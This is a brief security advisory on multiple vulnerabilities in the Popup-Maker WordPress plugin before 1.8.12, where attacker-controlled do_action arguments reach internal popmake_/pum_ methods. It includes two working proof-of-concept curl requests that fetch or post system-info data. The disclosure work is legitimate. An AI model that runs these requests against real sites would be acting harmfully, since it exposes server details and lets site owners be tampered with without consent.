Popup-Maker < 1.8.12 - Multiple Vulnerabilities

An attacker can partially control the arguments of the do_action, during the initialization of the PUM_Site . Because of this, an attacker can call any method which contains an action starting from popmake_ or pum_ . This will lead to successful execution of functions which do not require arguments (e.g: PUM_Admin_Tools::sysinfo_download or PUM_Admin_Tools::sysinfo_display) or require one argument as an array.

PoC

curl http://www.your-domain-with-popup-maker.com/?pum_action=tools_page_tab_system_info curl -v -d “popmake_action=popup_sysinfo&popmake-sysinfo;=choose any content you like” -X POST http://www.your-domain-with-popup-maker.com/